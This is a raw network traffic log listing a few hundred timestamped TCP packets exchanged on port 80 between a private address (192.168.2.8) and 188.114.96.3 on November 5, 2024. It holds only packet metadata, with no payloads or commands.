Nov 5, 2024 12:43:36.905447006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905450106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905458927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905469894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905481100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905482054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905493975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905498028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905505896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905517101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.905524969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.905550957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.949944973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.949997902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.950018883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.950042963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.950098991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.950130939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.950139046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.950170994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986088037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986191034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986244917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986258030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986291885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986368895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986406088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986423969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986433029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986460924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986471891 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986524105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986536980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986562967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986576080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986593008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986605883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986633062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986644983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986697912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986707926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986718893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986730099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986731052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986747980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986761093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986867905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986880064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986890078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986901045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.986901999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.986931086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987032890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987044096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987054110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987065077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987071991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987080097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987092018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987119913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987188101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987206936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987224102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987225056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987232924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987240076 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987246037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987257957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987286091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987422943 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987433910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987443924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987457037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987457991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987484932 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987493992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987555027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987569094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987580061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987607956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987607956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987710953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987721920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987731934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987751961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987759113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987761021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987766027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987768888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987771034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987775087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987787008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.987792969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.987823009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988060951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988074064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988085985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988094091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988121986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988219976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988230944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988248110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988255978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988256931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988261938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988269091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988276005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988281965 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988282919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988306046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988348961 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988524914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988534927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988547087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988564014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988564968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988578081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988588095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988588095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988600016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988605022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988610983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988630056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988632917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988656998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988681078 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988830090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988841057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988850117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988858938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988893032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.988970995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988981009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.988991022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989003897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989013910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989027977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989031076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989041090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989052057 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989053965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989075899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989077091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989093065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989204884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989217043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989238024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989250898 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989357948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989372015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989382029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989389896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989393950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989401102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989413023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989418030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989428043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989434958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989442110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989449978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989450932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989461899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989471912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989474058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989481926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989500999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989505053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989514112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989528894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989552975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989864111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989876986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989886045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989890099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989900112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989903927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989929914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989933968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989942074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989953995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989958048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989965916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989976883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989986897 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989988089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.989995956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.989999056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990026951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.990362883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990398884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990408897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990418911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990427971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990432024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.990437031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990442991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990447998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990458012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.990458012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990472078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990479946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:36.990483999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.990499973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:36.990518093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.015352964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015379906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015389919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015424967 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.015429974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015441895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015448093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.015453100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.015480042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.015494108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021173954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021189928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021204948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021249056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021279097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021290064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021291018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021301985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021313906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021318913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021327972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021328926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021337032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021342039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021343946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021351099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021358967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021359921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021365881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021373034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021382093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021389961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021390915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021394968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021397114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021421909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021425009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021440983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021445990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021455050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021462917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021472931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021476030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021477938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021482944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021486998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021488905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021501064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021511078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021517992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021528006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021534920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021534920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021543026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021550894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021557093 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021558046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021574974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021578074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021584034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021595001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021605015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021605968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021620035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021622896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021636963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021641016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021652937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021662951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021666050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021673918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021683931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021687984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021698952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021708012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021711111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021718979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021728992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021739960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021742105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021742105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021749973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021759987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021770000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021779060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021780968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021792889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021797895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021800041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021809101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021815062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021828890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021836996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021842003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021842957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.021867037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.021878958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.061068058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.061113119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.061136007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.061156988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.065954924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.065968990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.065980911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.066004038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.066029072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101629019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101694107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101744890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101800919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101826906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101841927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101851940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101867914 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101869106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101882935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101888895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101896048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101906061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101913929 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101917982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101924896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101936102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101944923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101953983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101964951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101969957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101974964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.101975918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101975918 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.101998091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102006912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102030039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102049112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102068901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102082968 CET	49711	80	192.168.2.8	188.114.96.3
